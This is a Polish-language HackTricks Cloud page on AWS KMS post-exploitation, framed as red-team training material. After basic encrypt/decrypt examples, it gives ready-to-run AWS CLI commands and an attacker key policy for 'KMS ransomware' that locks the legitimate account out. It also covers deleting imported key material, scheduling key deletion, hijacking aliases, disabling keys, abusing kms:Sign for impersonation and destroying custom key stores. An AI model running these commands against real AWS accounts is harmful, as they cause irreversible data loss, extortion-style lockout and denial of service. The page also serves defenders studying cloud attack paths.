AWS - KMS Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
KMS
Aby uzyskać więcej informacji sprawdź:
Encrypt/Decrypt information
fileb:// and file:// są schematami URI używanymi w poleceniach AWS CLI do określenia ścieżki do plików lokalnych:
fileb://:Odczytuje plik w trybie binarnym, zwykle używany dla plików nie-tekstowych.file://:Odczytuje plik w trybie tekstowym, zwykle używany dla zwykłych plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań kodowania.
Tip
Zwróć uwagę, że jeśli chcesz decrypt danych znajdujących się w pliku, plik musi zawierać dane binarne, nie zakodowane w base64. (fileb://)
- Używanie symetrycznego klucza
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Użycie klucza asymmetric:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować politykę KMS dla kluczy i przyznać swojemu kontu dostęp do nich, usuwając dostęp przyznany prawowitemu kontu.
W rezultacie użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji z usług zaszyfrowanych tymi kluczami, tworząc proste, lecz skuteczne ransomware wobec konta.
Warning
Należy pamiętać, że AWS managed keys aren’t affected przez ten atak; dotyczy to tylko Customer managed keys.
Zwróć uwagę na konieczność użycia parametru
--bypass-policy-lockout-safety-check(brak tej opcji w konsoli webowej sprawia, że ten atak jest możliwy tylko z poziomu CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Pamiętaj, że jeśli zmienisz tę politykę i przyznasz dostęp tylko zewnętrznemu kontu, a następnie z tego konta spróbujesz ustawić nową politykę, aby przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z cross account.
.png)
Ogólny KMS Ransomware
Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
- Utwórz nowy klucz z materiałem klucza zaimportowanym przez atakującego
- Ponownie zaszyfruj starsze dane ofiary, które były zaszyfrowane poprzednią wersją, używając nowego
- Usuń klucz KMS
- Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane
Delete Keys via kms:DeleteImportedKeyMaterial
Z uprawnieniem kms:DeleteImportedKeyMaterial aktor może usunąć zaimportowany materiał klucza z CMK z Origin=EXTERNAL (CMK, które zaimportowały swój materiał klucza), uniemożliwiając im odszyfrowanie danych. Ta akcja jest destrukcyjna i nieodwracalna, chyba że kompatybilny materiał zostanie ponownie zaimportowany, co pozwala atakującemu w praktyce spowodować utratę danych podobną do ransomware, czyniąc zaszyfrowane informacje trwale niedostępnymi.
aws kms delete-imported-key-material --key-id <Key_ID>
Niszczenie kluczy
Niszczenie kluczy może spowodować DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Zwróć uwagę, że AWS teraz zapobiega wykonywaniu poprzednich działań z cross account:
Change or delete Alias
Ten atak usuwa lub przekierowuje aliasy AWS KMS, zaburzając rozwiązywanie kluczy i powodując natychmiastowe błędy w usługach, które polegają na tych aliasach, co skutkuje odmową usługi. Mając uprawnienia takie jak
kms:DeleteAliaslubkms:UpdateAlias, atakujący może usunąć lub przekierować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast do ID klucza, może nie działać, dopóki alias nie zostanie przywrócony lub poprawnie zmapowany.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Anulowanie zaplanowanego usunięcia klucza
Mając uprawnienia takie jak kms:CancelKeyDeletion i kms:EnableKey, atakujący może anulować zaplanowane usunięcie klucza głównego klienta AWS KMS i później ponownie go włączyć. Dzięki temu klucz zostaje odzyskany (początkowo w stanie Disabled) i przywracana jest jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając exfiltration.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Wyłączenie klucza
Posiadając uprawnienie kms:DisableKey, aktor może wyłączyć AWS KMS customer master key, co uniemożliwia jego użycie do szyfrowania lub odszyfrowywania. Powoduje to zerwanie dostępu dla wszystkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.
aws kms disable-key \
--key-id <key_id>
Wyprowadzenie współdzielonego sekretu
Z uprawnieniem kms:DeriveSharedSecret podmiot może użyć prywatnego klucza przechowywanego w KMS oraz klucza publicznego dostarczonego przez użytkownika, aby obliczyć współdzielony sekret ECDH.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
Mając uprawnienie kms:Sign, aktor może użyć przechowywanego w KMS CMK do kryptograficznego podpisywania danych bez ujawniania klucza prywatnego, generując ważne podpisy, które mogą umożliwić impersonation lub autoryzować złośliwe działania.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
Dysponując uprawnieniami takimi jak kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore lub kms:UpdateCustomKeyStore, podmiot może modyfikować, odłączyć lub usunąć AWS KMS Custom Key Store (CKS), czyniąc jego klucze główne nieoperacyjnymi. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla wszystkich usług, które polegają na tych kluczach i może spowodować natychmiastowy denial-of-service. Dlatego ograniczanie i monitorowanie tych uprawnień jest kluczowe.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

